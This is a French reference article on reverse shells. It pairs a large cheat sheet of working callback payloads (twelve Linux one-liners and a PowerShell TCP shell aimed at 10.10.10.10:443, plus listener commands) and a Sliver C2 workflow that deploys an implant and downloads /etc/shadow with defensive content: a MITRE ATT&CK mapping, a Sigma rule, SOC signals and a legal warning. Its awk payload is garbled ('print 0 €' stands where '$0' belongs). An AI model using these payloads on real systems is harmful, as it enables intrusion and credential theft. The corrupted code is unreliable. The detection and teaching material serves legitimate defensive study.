Un reverse shell ouvre une connexion sortante de la cible vers l'attaquant pour fournir un accès interactif au système, devenu le standard de facto du pentest depuis 2015 parce que le trafic egress 443/TCP est rarement filtré sortant, contrairement aux ports d'écoute entrants des bind shells qui sont bloqués par défaut sur 95%+ des firewalls modernes. En 2026, l'écosystème est dominé par 3 niveaux d'outillage : revshells.com + payloads PayloadsAllTheThings (25+ variantes bash/python/php/powershell/golang, gratuit, standard CTF) ; msfvenom (Metasploit Framework, Rapid7, génération binaires ELF/PE/APK) ; frameworks C2 modernes Sliver (BishopFox, OSS Apache 2.0, écrit Go, devenu standard red team post-leak Cobalt Strike 2020-2022), Mythic (Cody Thomas, OSS BSD, modulaire), Cobalt Strike (Fortra, ~5400 €/user/an, déclinant). Côté défense : MITRE ATT&CK T1059 (Command and Scripting Interpreter), T1071 (Application Layer Protocol), T1571 (Non-Standard Port) cataloguent les patterns ; les EDR modernes (CrowdStrike Falcon, SentinelOne Singularity, Microsoft Defender XDR, Wazuh OSS) détectent ~90% des reverse shells génériques mais seulement 30-50% des frameworks C2 sophistiqués selon MITRE Engenuity ATT&CK Evaluations Round 5 (2024). Cet article documente les payloads canoniques, les techniques de stabilisation PTY, le mapping MITRE ATT&CK, les signaux de détection SOC, et les anti-patterns persistants, dans un cadre strictement autorisé (CTF, pentest, red team avec contrat, recherche défensive).
Pour le contexte adverse : voir TTP (Tactics, Techniques and Procedures). Pour la détection : EDR et SIEM.
Le bon mental model : reverse shell = canal d'exécution interactif, pas exploit
Confusion fréquente : croire que le reverse shell est l'exploit. Faux. Le reverse shell est un canal de communication post-exploit qui présuppose qu'une vulnérabilité ait déjà permis l'exécution de code (RCE, command injection, file upload exploit, vol credential SSH). Une RCE sur une CVE-2024-21887 Ivanti livre l'exécution ; le reverse shell transforme cette exécution en accès interactif persistant pendant quelques minutes/heures.
Cette distinction est critique en pentest et en red team :
- L'exploit prouve la vulnérabilité.
- Le reverse shell prouve la valeur opérationnelle de la vulnérabilité (peut-on s'installer, pivoter, exfiltrer ?).
C'est le delta entre un POC vulnérabilité (CVSS) et un POC exploit utile en breach reporting. Plus le reverse shell est stable et discret, plus la valeur démontrée du chemin d'attaque est élevée.
Reverse shell vs bind shell : matrice de décision
| Critère | Bind shell | Reverse shell |
|---|---|---|
| Direction connexion | Attaquant → cible | Cible → attaquant |
| Port ouvert | Sur la cible (entrant) | Sur l'attaquant (entrant) |
| Bypass firewall périmétrique | ❌ Bloqué dans 95% des cas | ✅ Marche en egress 443 |
| Bypass NAT/proxy attaquant | ✅ Pas besoin | ❌ Demande IP publique ou tunnel |
| Détection IDS facile | Port d'écoute inhabituel | Connexion sortante anormale |
| Cas d'usage 2026 | Tests internes LAN, NAT lourd attaquant | 95% des engagements |
| Setup attaquant | nc listener IP cible | nc -lvnp 443 listener public |
| Stealth potentiel | Faible (port ouvert visible) | Moyen-haut (TLS/HTTP imitable) |
| Persistence native | Non | Non (besoin C2 framework) |
Payloads canoniques : 12 variantes à connaître
Variantes Linux les plus utilisées en CTF / pentest 2026, à connaître par cœur :
# 1. Bash classique (TCP redirect)
bash -i >& /dev/tcp/10.10.10.10/443 0>&1
# 2. Bash avec FIFO (parfois moins détecté)
mkfifo /tmp/p; cat /tmp/p | /bin/bash -i 2>&1 | nc 10.10.10.10 443 > /tmp/p
# 3. Python 3 (le plus stable)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.10",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
# 4. Perl (utile sur systèmes minimaux)
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 5. PHP (web shell post-RCE)
php -r '$sock=fsockopen("10.10.10.10",443);exec("/bin/sh -i <&3 >&3 2>&3");'
# 6. Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.10.10",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# 7. Netcat traditional (si dispo)
nc 10.10.10.10 443 -e /bin/bash
# 8. Netcat OpenBSD (sans -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f
# 9. Socat (TLS encrypted, le plus stealth)
socat OPENSSL:10.10.10.10:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# 10. Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print 0 € |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# 11. Telnet (très visible, pour fallback)
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.10 443 0<$TF | /bin/sh 1>$TF
# 12. xterm (display redirect)
xterm -display 10.10.10.10:1Variante PowerShell (Windows) :
# PowerShell reverse shell standard (souvent détecté par AMSI)
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (Invoke-Expression $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
# Variante encodée base64 + bypass AMSI partiel (à connaître pour blue team)
powershell -nop -w hidden -enc <BASE64># Listener attaquant, 3 options
# Option 1: nc traditionnel (rapide, brut)
nc -lvnp 443
# Option 2: rlwrap pour history et arrows (UX bien meilleure)
rlwrap nc -lvnp 443
# Option 3: pwncat-cs (Caleb Stewart, post-2021, le meilleur en 2026)
pip install pwncat-cs
pwncat-cs -lp 443 # auto-stabilization PTY, post-exploit toolkit intégréStabilisation PTY : la séquence canonique
Un reverse shell brut est non-interactive, pas de Tab autocomplétion, Ctrl-C tue le shell, vim crash. Stabilisation Linux en 4 étapes :
# Côté cible (juste après réception du shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Alternatives si python3 absent :
# python -c 'import pty; pty.spawn("/bin/bash")'
# script -qc /bin/bash /dev/null
# /usr/bin/script -qc /bin/bash /dev/null
# Côté attaquant
# 1. Suspendre le shell
Ctrl-Z
# 2. Mettre le terminal local en raw mode + remettre le shell foreground
stty raw -echo; fg
# 3. Côté shell (taper aveugle)
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 120 # adapter à ta taille terminal locale (stty -a pour voir)
# 4. Vérifier
clear # le terminal s'efface proprement = stabilisation OKTableau de troubleshooting :
| Symptôme | Cause probable | Fix |
|---|---|---|
| Tab ne complète pas | PTY non alloué | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Ctrl-C tue le shell | Local terminal en mode cooked | stty raw -echo; fg |
| Vim crash en ouverture | TERM non défini | export TERM=xterm |
| Output qui scroll bizarre | Taille terminal incorrecte | stty rows X cols Y |
| Echo doublé | -echo manquant | stty raw -echo |
| Caractères ANSI cassés | TERM=dumb | export TERM=xterm-256color |
Frameworks C2 modernes : Sliver, Mythic, Cobalt Strike
État du marché framework C2 2026, filtré sur outils légitimes (l'usage hors autorisation est illégal partout) :
| Framework | Origine | Licence | Force | Faiblesse |
|---|---|---|---|---|
| Sliver | BishopFox, 2019 | OSS Apache 2.0 | Référence 2024-2026, Go, mTLS/WireGuard/DNS, multi-OS | Empreinte plus grande qu'un PowerShell scriptlet |
| Mythic | Cody Thomas, 2018 | OSS BSD 3-clause | Modulaire, agents custom (Apollo, Athena, Apfell) | Setup initial plus complexe |
| Cobalt Strike | Fortra (ex Strategic Cyber LLC) | Commercial ~5400 €/user/an | Référence historique, beacons riches | Leaks 4.x compromettent attribution |
| Havoc | C5pider, 2022 | OSS GPL | Moderne, beacon Demon, UI propre | Communauté plus petite |
| Brute Ratel C4 | Chetan Nayak, 2020 | Commercial ~4500 €/user/an | Anti-EDR fort | Leaks 2022 ont dégradé attribution |
| Empire (PoshC2-like) | BC Security, 2015+ | OSS BSD | PowerShell-heavy, Python | Très détecté en 2026 |
| Metasploit Pro / Free | Rapid7 | Free / Commercial | Référence pédagogique | Easy detection (signatures connues) |
| Pupy | n1nj4sec, 2015 | OSS BSD | Python-based, multi-OS | Maintenance ralentie |
| Villain | t3l3machus, 2022 | OSS MIT | Léger, multi-handler | Niche |
| Caldera | MITRE | OSS Apache 2.0 | Adversary emulation, ATT&CK-aligned | Plus orienté simulation que C2 réel |
Workflow type Sliver :
# Setup serveur Sliver (machine attaquant)
sliver-server
sliver > generate --mtls 10.10.10.10:443 --os linux --arch amd64 --save /tmp/agent.elf
sliver > mtls --lport 443
sliver > implants # liste agents
# Sur la cible (post-RCE)
chmod +x agent.elf && ./agent.elf &
# Reprise interactive Sliver
sliver > use <session-id>
sliver (DEMON_ALPHA) > getuid
sliver (DEMON_ALPHA) > shell # PTY auto-stabilisé
sliver (DEMON_ALPHA) > netstat
sliver (DEMON_ALPHA) > processes -t # tree
sliver (DEMON_ALPHA) > download /etc/shadowMapping MITRE ATT&CK : T1059, T1071, T1571
| ATT&CK | Tactic | Description | Détection clé |
|---|---|---|---|
| T1059 | Execution | Command and Scripting Interpreter | Sysmon Event ID 1, EDR process tree |
| T1059.001 | Execution | PowerShell | AMSI logs, ScriptBlock logging Event ID 4104 |
| T1059.003 | Execution | Windows Command Shell | cmd.exe avec args inhabituels |
| T1059.004 | Execution | Unix Shell | bash/sh avec stdin/stdout redirect réseau |
| T1059.006 | Execution | Python | python.exe interactive avec socket |
| T1059.007 | Execution | JavaScript | wscript / cscript suspect |
| T1071 | C&C | Application Layer Protocol | Outbound HTTPS vers FQDN low-rep |
| T1071.001 | C&C | Web Protocols (HTTP/HTTPS) | TLS SNI mismatch, JA3 fingerprint |
| T1071.004 | C&C | DNS | DNS exfil patterns, beaconing |
| T1571 | C&C | Non-Standard Port | Outbound vers port non-standard métier |
| T1572 | C&C | Protocol Tunneling | DNS / ICMP tunneling |
| T1573 | C&C | Encrypted Channel | TLS custom cert, mTLS implants |
Règles Sigma type pour SIEM (Splunk, Elastic, Sentinel, Wazuh) :
title: Suspicious Reverse Shell Pattern (Linux)
status: stable
description: Detects bash, python, perl, nc patterns indicative of reverse shell
references:
- https://attack.mitre.org/techniques/T1059/004/
logsource:
product: linux
category: process_creation
detection:
selection_bash:
Image|endswith: '/bash'
CommandLine|contains:
- '/dev/tcp/'
- 'bash -i'
selection_python:
Image|contains: 'python'
CommandLine|contains:
- 'socket.socket'
- 'pty.spawn'
- 's.connect('
selection_nc:
Image|endswith:
- '/nc'
- '/ncat'
CommandLine|contains:
- '-e /bin/'
- '-c bash'
- 'mkfifo'
condition: 1 of selection_*
falsepositives:
- Legitimate admin scripts (whitelist)
- DevOps automation tools
level: high
tags:
- attack.execution
- attack.t1059.004Détection SOC : signaux à corréler
Cinq catégories de signaux pour détecter un reverse shell en 2026 :
| Catégorie | Outil | Signal | TTP ATT&CK |
|---|---|---|---|
| Process execution | Sysmon, EDR | bash -i, python -c 'import socket', nc -e | T1059 |
| Network outbound | Zeko, Falco, Suricata | TCP egress vers IP non whitelistée par process inhabituel | T1071, T1571 |
| DNS | Cisco Umbrella, Cloudflare Gateway | FQDN low-rep, jeune (<7j), entropy élevée | T1071.004 |
| TLS fingerprint | JA3, JA4 (Salesforce 2024) | JA3 cluster connu Sliver/Cobalt/Mythic | T1573 |
| User behavior | UEBA Splunk, Microsoft Defender | Compte service qui exec bash, tiers de session anormaux | T1078 |
Performance détection EDR mesurée par MITRE Engenuity ATT&CK Evaluations Round 5 (mai 2024) sur APT29 / Pyramid C2 :
| EDR | Detection rate | Visibility | Analytics coverage |
|---|---|---|---|
| Microsoft Defender XDR | ~95% | Excellent | 100/100 |
| CrowdStrike Falcon | ~93% | Excellent | 99/100 |
| SentinelOne Singularity | ~90% | Très bon | 95/100 |
| Palo Alto Cortex XDR | ~85% | Très bon | 92/100 |
| Trellix HX (FireEye) | ~80% | Bon | 88/100 |
| Wazuh OSS | ~50% | Moyen (SIEM-driven) | 60/100 |
| osquery + Fleet | ~40% | Limité (telemetry pure) | 50/100 |
Sur frameworks C2 modernes type Sliver custom, Mythic Apollo : taux baissent à 30-50% parce que les signatures statiques échouent et il faut détection comportementale + threat hunting actif.
Erreurs fréquentes côté attaquant (pentest) et défenseur
| Erreur | Côté | Symptôme | Fix |
|---|---|---|---|
| Reverse shell brut sans stabilisation | Pentest | Tab cassé, Ctrl-C tue session | Stabiliser PTY immédiatement |
| Port 4444 par défaut Metasploit | Pentest | Détection signature SOC instantanée | Port 443/8443, jitter, custom payload |
| Pas de fallback si EDR kill | Pentest | Engagement perdu en 5 min | Implant Sliver/Mythic en backup |
| Listener nc sans rlwrap | Pentest | Pas d'history, frustration | rlwrap nc -lvnp ou pwncat-cs |
| Cleartext HTTP/TCP en 2026 | Pentest | DPI proxy bloque | TLS via socat ou C2 framework |
| Pas de log Sysmon Event 1 activé | SOC | Process exec invisible | Déployer Sysmon avec config Olaf Hartong |
| AMSI désactivé sur Windows | SOC | PowerShell payloads invisibles | Forcer AMSI + ScriptBlock logging |
| EDR mode "alert only" prod | SOC | Détection mais pas de blocage | Bascule prevent mode après tuning |
| Pas de network egress filtering | SOC | Reverse shells 443 partent direct | Egress whitelist domaines connus |
| Pas de threat hunting actif | SOC | Implants C2 modernes invisibles | Hunt hebdomadaire ATT&CK-driven |
| Whitelist process trop permissive | SOC | bash, python, nc passent | Allowlist par hash + signing |
| Pas de DNS sinkhole | SOC | DNS exfil C2 passe | Cisco Umbrella / Cloudflare Gateway |
Pour aller plus loin
- TTP (Tactics, Techniques and Procedures), comment les reverse shells s'inscrivent dans la chaîne d'attaque MITRE ATT&CK.
- EDR (Endpoint Detection and Response), la couche qui détecte le reverse shell au niveau host.
- SIEM, pour corréler les signaux multi-sources et détecter les patterns C2.
- IOC (Indicators of Compromise), IOC réseau (IPs, domaines) à surveiller pour C2.
- Bastion / Jump server / PAM, la couche admin qui devrait empêcher la propagation post-reverse-shell.
- Sources externes : revshells.com, PayloadsAllTheThings, Sliver C2, pwncat-cs, MITRE ATT&CK T1059, Sysmon config Olaf Hartong.
Points clés à retenir
- Reverse shell vs bind shell : reverse shell domine 95% des engagements 2026 parce que egress 443/TCP rarement filtré sortant. Bind shells survivent en cas de NAT/proxy attaquant ou tests internes LAN ouvert.
- Le reverse shell est un canal d'exécution interactif post-exploit, pas l'exploit lui-même. Présuppose une RCE / command injection / file upload exploit en amont.
- 3 niveaux d'outillage 2026 : revshells.com (CTF/pentest, gratuit, 25+ variantes), msfvenom (Metasploit Rapid7, binaires ELF/PE/APK), Sliver/Mythic/Cobalt Strike (red team C2 sérieux).
- Stabilisation PTY canonique en 4 étapes :
python3 -c 'import pty; pty.spawn("/bin/bash")'→ Ctrl-Z →stty raw -echo; fg→export TERM=xterm; stty rows 40 cols 120. Pwncat-cs automatise. - Sliver (BishopFox 2019, OSS Apache 2.0, Go) = standard red team 2024-2026 après leaks Cobalt Strike 4.x. mTLS, WireGuard, DNS, HTTP transports natifs.
- MITRE Engenuity ATT&CK Evaluations Round 5 (mai 2024) : Microsoft Defender XDR ~95% détection, CrowdStrike Falcon ~93%, SentinelOne ~90%. Wazuh OSS ~50%.
- EDR détecte ~90% des reverse shells génériques mais seulement 30-50% des C2 modernes (Sliver custom, Mythic Apollo) → threat hunting actif obligatoire.
- Mapping ATT&CK clé : T1059 Command and Scripting Interpreter, T1071 Application Layer Protocol, T1571 Non-Standard Port, T1572 Protocol Tunneling, T1573 Encrypted Channel.
- 5 catégories de détection SOC : process execution (Sysmon Event 1, AMSI ScriptBlock 4104), network outbound (Zeek, Falco), DNS (Cisco Umbrella), TLS fingerprint (JA3/JA4 Salesforce 2024), UEBA.
- Cadre légal : usage hors autorisation = loi Godfrain article 323-1 Code pénal FR (5 ans + 150k€). Toujours contrat signé scope précis avant engagement, ou cadre CTF/labs.
- Anti-pattern pentest : reverse shell brut nc sans fallback C2 → engagement perdu en 5 min sur EDR moderne. Bascule Sliver/Mythic dès accès initial.
- Anti-pattern SOC : EDR alert only en prod, pas d'egress filtering, pas de threat hunting hebdomadaire ATT&CK-driven. Détection passive échoue contre adversaire compétent.






